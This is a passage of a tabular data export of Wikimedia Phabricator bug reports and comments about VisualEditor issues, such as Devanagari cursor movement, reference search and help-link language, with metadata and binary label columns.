+
+The patch also introduces an unintended side-effect. Crossing the glyph from the left to the right on right arrow keypress also takes two keypresses now. Without the patch, this used to take only one right arrow keypress. This correct behaviour can be currently seen at hindi wikipedia, specifically tested at [2]
+
+So the problem is partially fixed, but with side-effects.
+
+[1]: https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+[2]: https://hi.wikipedia.org/wiki/%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF:Siddhartha_Ghai/sandbox?veaction=edit",,,1379497039,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,11,,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+247075,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","There's code to address this bug in the following patch, which is due to go live on mediawiki.org by 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+It does not fix this completely, but it does make it possible to cursor left through the cluster with repeated consecutive keypresses.",,,1378943340,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,10,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+247070,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","(In reply to comment #2)
+> Hi,
+> 
+> You are referring problem to windows system based inscript input system , ULS
+> or any hindi devnagari input or any devnagari input including  Marathi and
+> Nepali ?
+> 
+> Regards
+
+The problem is not with the input method. It is with moving around the cursor when using visual editor. So, for example, if any letter followed by ् + र already exists on the wiki and you try to edit the page with visual editor, you can move the cursor across it from left to right, but not from right to left.
+
+As far as I understand the problem, it is specific to devanagari (not hindi), although I haven't specifically gone to mr or ne wikis to verify.",,,1377345735,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+247062,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","(In reply to comment #1)
+> Update: Same problem seems to arise for any other letters followed by ् + र
+> to
+> form a combined glyph. Examples:भ्र श्र ष्र etc. It does not seem to arise
+> when
+> the glyph is not combined.
+
+Hi,
+
+You are referring problem to windows system based inscript input system , ULS or any hindi devnagari input or any devnagari input including  Marathi and Nepali ?
+
+Regards",,,1377236465,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+247053,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press",Update: Same problem seems to arise for any other letters followed by ् + र to form a combined glyph. Examples:भ्र श्र ष्र etc. It does not seem to arise when the glyph is not combined.,,,1374618177,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+53838,VisualEditor: Reference dialog re-use search form doesn't recognise uppercase group names,"The re-use tab in the reference dialog allows searching for group names. This was always possible. However, it doesn't work when the group name is uppercase or contains an uppercase character. For example, it works when the group name is ""note"" but not when the group name is ""A"". It doesn't matter if I search for ""a"" or ""A"", it's not found.
+
+Turns out the relevant code is incomplete ever since it was written in 2013, see https://gerrit.wikimedia.org/r/70364. The relevant ticket was {T51733}.",Medium,50.0,1374525480,1721831979.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-k5wpqok2x66oei3wguaf,False,PHID-TASK-2ms2vngz2briyomwp2bg,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+2382748,VisualEditor: Reference dialog re-use search form doesn't recognise uppercase group names,"Change #1055393 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/Cite@master] Fix reference search not working with uppercase groups/names%%%
+https://gerrit.wikimedia.org/r/1055393",,,1721641929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2ms2vngz2briyomwp2bg,task_subcomment,,True,c1,3,False,,,577,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2381720,VisualEditor: Reference dialog re-use search form doesn't recognise uppercase group names,"Change #1055393 had a related patch set uploaded (by Thiemo Kreuz (WMDE); author: Thiemo Kreuz (WMDE)):
+%%%[mediawiki/extensions/Cite@master] Fix reference search not working with uppercase groups/names%%%
+https://gerrit.wikimedia.org/r/1055393",,,1721382014,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2ms2vngz2briyomwp2bg,task_subcomment,,True,c1,3,False,,,576,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,1
+2283753,VisualEditor: Reference dialog re-use search form doesn't recognise uppercase group names,"I'm not sure what's missing here. The group name always was searchable ever since the code was added in June 2013. I just tested it and it works with and without #Citoid. Maybe the code was not deployed when this ticket was written?
+
+https://gerrit.wikimedia.org/r/c/mediawiki/extensions/VisualEditor/+/70364/27/modules/ve/ui/widgets/ve.ui.MWReferenceSearchWidget.js#123",,,1708623279,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-2ms2vngz2briyomwp2bg,task_subcomment,,True,c1,3,False,,,555,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0
+53822,VisualEditor: Transclusion editor template search should additionally find in-string matches,"Split from bug 51436, Original comment was:
+""Also typing a word only shows template names starting with that word, not
+containing it, which is a weird search behaviour.
+
+If I type ""book"", template ""Cite book"" is not shown, which limits the search
+functionality to be useful only for people who already know template names
+(i.e. those who don't need it).""
+
+A further relevant comment was:
+""This is asking for VisualEditor ... to use an entirely different (and slower) part of MediaWiki's search infrastructure so we can do in-string searching rather than left-string completion.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51670",Medium,50.0,1374511680,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-bcumpuzgy3avff6z7fio,task_description,open,True,c1,3,False,False,,3,,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+245786,VisualEditor: Transclusion editor template search should additionally find in-string matches,"**crypticc62** wrote:
+
+Even if in-string searching is used instead of left-string completion, there is still the problem of templates whose names are completely unsearchable, such as {{rp}} and pretty much everything in [[Category:Typing-aid templates]].
+
+What would be very useful is a TemplateData field in which editors can list relevant keywords that users might search for. Perhaps it could be called ""keywords"" or ""tags"". Without something like this, it's not clear to me how new users would ever find the templates they're looking for.",,,1377222496,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bcumpuzgy3avff6z7fio,task_subcomment,,True,c1,3,False,,,7,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+53797,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","The VisualEditor's user manual is translatable in Meta, which is a Good Thing. Currently the help link uses Special:MyLanguage. This uses the user's UI language as defined on Meta, which is likely not to be the same as the user's UI language on a non-English site.
+
+As much as possible, the link should point directly to the user manual in the language that the user is using currently for the UI.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374488220,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-likhdovodmty4qer7rsq,task_description,open,True,c1,3,False,False,,3,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+727473,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","That is intentional. Given the logged out users and many logged in users by default have English, it prefers the provided language code instead of interface language.",,,1473747184,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,167,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+727191,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language",">>! In T53797#564658, @Nikerabbit wrote:
+> You could point to Special:MyLanguage/Page/<current ui language>. If the user is logged on mediawiki.org (which is quite likely), their interface language there will still overrule the provided language code :(
+
+That would probably be okay, but if I go to https://ta.wikipedia.org/wiki/Mw:Special:MyLanguage/Help:VisualEditor/User_guide/ta I get Tamil, even though I am logged in and my preference is en.",,,1473709455,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,167,,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1
+244290,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","(In reply to comment #2)
+> You could point to Special:MyLanguage/Page/<current ui language>. If the user
+> is logged on mediawiki.org (which is quite likely), their interface language
+> there will still overrule the provided language code :(
+
+To do this we'd have to have code that explicitly mangles an i18n string. This feels… deeply wrong. :-(",,,1375114805,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+244286,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","You could point to Special:MyLanguage/Page/<current ui language>. If the user is logged on mediawiki.org (which is quite likely), their interface language there will still overrule the provided language code :(",,,1375086773,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+244280,"VisualEditor: As much as possible, the link to the user manual should lead directly to a manual in the user's language","(In reply to comment #0)
+> The VisualEditor's user manual is translatable in Meta, which is a Good
+> Thing.
+> Currently the help link uses Special:MyLanguage. This uses the user's UI
+> language as defined on Meta, which is likely not to be the same as the user's
+> UI language on a non-English site.
+> 
+> As much as possible, the link should point directly to the user manual in the
+> language that the user is using currently for the UI.
+
+What is the recommended solution for this? Hard-code the link to be https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide/<foo>? Wouldn't it be easier for the user's language to properly transfer to MW.org using ULS or whatever?",,,1374509348,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+53792,VisualEditor: Non-English Wikipedia issues (tracking),"Tracking for VE issues of problems that are specific to a Wikipedia other than English Wikipedia, excluding RTL issues as they are tracked by bug 33126.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+{T51998}
+{T51999}",Medium,50.0,1374480780,1422425002.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-oytsgsispcryv5y4kv3t,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+463280,VisualEditor: Non-English Wikipedia issues (tracking),Which project/tag was this replaced with?,,,1432541898,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oytsgsispcryv5y4kv3t,task_subcomment,,True,c1,3,False,,,99,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+403777,VisualEditor: Non-English Wikipedia issues (tracking),Replaced with projects.,,,1422425002,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oytsgsispcryv5y4kv3t,task_subcomment,,True,c1,3,True,,,82,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+244024,VisualEditor: Non-English Wikipedia issues (tracking),"Since you dont want to track them, I have put myself as the assignee.
+
+I added issues that appear to be a much higher priority for non-English Wikipedia, or only reproducible on non-English Wikipedia.  If they affect all Wikipedia, remove them.
+
+We have had very few issues raised from non-English Wikis, and many of them had not even been confirmed until I worked through the Unconfirmed list yesterday.",,,1374528616,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oytsgsispcryv5y4kv3t,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+244017,VisualEditor: Non-English Wikipedia issues (tracking),"It is not-unreasonable to use a tracking bug for language-specific issues, but almost all of the bugs cited here are not language-specific. Will remove those that are general VisualEditor issues.",,,1374508727,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oytsgsispcryv5y4kv3t,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+53785,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","When you type ""[["" in visual editor, there is a ""wiki markup text"" popu (nice touch - Thanks, devs).
+
+However, this warning popup shows at top of page, so it's not visible when the page is scrolled even a few lines.
+
+VE toolbar floats at the top of the browser's page even when we edit at the middle of the article. the warning popu should do the same. 
+
+REPRODUCTION INSTRUCTIONS
+0) open [[en:The Rolling Stones]]
+1) select one of the sections from the TOC
+2) Click ""Edit""
+3) wait, wait, wait, wait...
+4) close the edit notice
+5) type ""[[""
+
+EXPECTED
+1) during the wait (3 above) there is a nice image asking you to wait: this image is expected to be visible
+
+2) when the ""edit notice"" shows up, you expect some clear way to close it.
+
+3) when typing ""[["", you expect the ""wikitext warning"" popup to show up
+
+WHAT ACTUALLY HAPPEN
+
+1) the ""please wait"" image appears, but unfortunately it's outside the screen, so you do not know why the page appears milky, and have no indication that this would eventually end.
+
+2) depending on your luck, clicking on various parts of the page *will* close the edit notice (if you're lucky), or will take you to [[en:Template:Editnotices/Page/The Rolling Stones]] (i.e., another page from the one you are trying to edit) if you're unlucky.
+
+3) the warning popup appears, but it's at the top of the page, so unless you are editing the very first part of the page, you do not see it.
+
+
+COMMENTS:
+1) VE is clever enough to have its toolbar visible even when scrolling down, using ""position:fixed"". same should be done for the ""please wait"" image and for the warning popup(s).
+
+2) the ""1 notice"" and the warning triangle on the toolbar should indicate that they are the gate to hiding the notice: e.g., change the ""1 Notice"" text to ""Hide notice"" when the notice is visible.
+
+3) it seems that the wikitext notice is not yet translated to all languages.
+
+
+peace.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374442980,1379436668.0,PHID-USER-akv4ingxkspiiam6r2n4,False,,False,PHID-TASK-j46p5in7q2s26odkx5az,task_description,resolved,True,c1,3,False,False,True,2,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+243611,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","Sounds like the same thing.
+
+The other bug is older and the discussion on this one is mostly related to bug 50870, so I'll mark this one as a dupe of that one.
+
+*** This bug has been marked as a duplicate of bug 50206 ***",,,1379436668,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+243606,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section",(is https://bugzilla.wikimedia.org/show_bug.cgi?id=50206 a dupe?),,,1379425952,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0
+243598,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","(In reply to comment #3)
+> i know that opening a single ticket for 3 different issues is not a good
+> idea, and i apologize for doing something i know is wrong.
+
+As long as you don't do it again, no need to apologise. :-)",,,1374509581,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,True,,,3,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+243592,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","Original bug talked about 3 (somewhat unrelated) things.
+
+The first one turned out to be duplicate of bug 50870, and not specific to VE (i think this is why i did not find it).
+
+However, the 2nd one *is* specific to VE, and i do not think bug 50870 covers it.
+
+so i changed the synopsis of this bug to indicate the 2nd problem, and i'm reopening it.
+
+i know that opening a single ticket for 3 different issues is not a good idea, and i apologize for doing something i know is wrong.
+
+(it's a bit confusing - ""1st"" and ""2nd"", appear as ""2"" and ""1"" in original ticket - i call ""2"" in comment #0 ""first"" because this was the synopsis of original ticket).
+
+peace.",,,1374506028,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+243587,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","
+
+*** This bug has been marked as a duplicate of bug 50870 ***",,,1374449520,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243582,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","(In reply to comment #0)
+> 2) depending on your luck, clicking on various parts of the page *will* close
+> the edit notice (if you're lucky), or will take you to
+> [[en:Template:Editnotices/Page/The Rolling Stones]] (i.e., another page from
+> the one you are trying to edit) if you're unlucky.
+> 
+> 
+> peace.
+
+so here is what i mean: if you click on the page outside the ""edit notice"", nothing happens.
+if you click on the edit notice itself, then it depends: 
+some parts of the edit notice are links (including the images), and will take you elsewhere. there is no indication, because the edit notice as a whole has ""cursor: pointer;"" css attribute, so the mouse pointer looks the same everywhere on the edit notice. clicking somewhere which is not a link will close the notice, and clicking somewhere which *is* a link will take you elsewhere. again, there is little indication - e.g., moving the mouse into and out of images does not give any visible sign.
+clicking on the little ""page notice"" link *inside* the notice takes you elsewhere, while clicking on the ""1 notice"" on the toolbar closes the notice.
+very confusing.
+
+(btw: the notice itself seems to be anchored to the toolbar rather than to the page, which is exactly what's needed for the ""please wait"" image and for the wikitext popup).
+
+peace.",,,1374443710,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,False,,,2,,1,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+53778,VisualEditor: Structural content inside a <small> should be alienated but this fails because they are inline rather than inline-block,"In an (un)ordered list nested in a table I am unable to edit wikilinks. While hovering above a wikilink the wikilink is an active weblink, instead of showing the icon of the link inspector, see URL.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: https://test.wikipedia.org/wiki/User:Raymond/nested",Medium,50.0,1374430980,1642381371.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-kvei76aer6u2clu7k444,task_description,duplicate,True,c1,3,False,False,False,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+243204,VisualEditor: Structural content inside a <small> should be alienated but this fails because they are inline rather than inline-block,*** Bug 52285 has been marked as a duplicate of this bug. ***,,,1385396898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kvei76aer6u2clu7k444,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
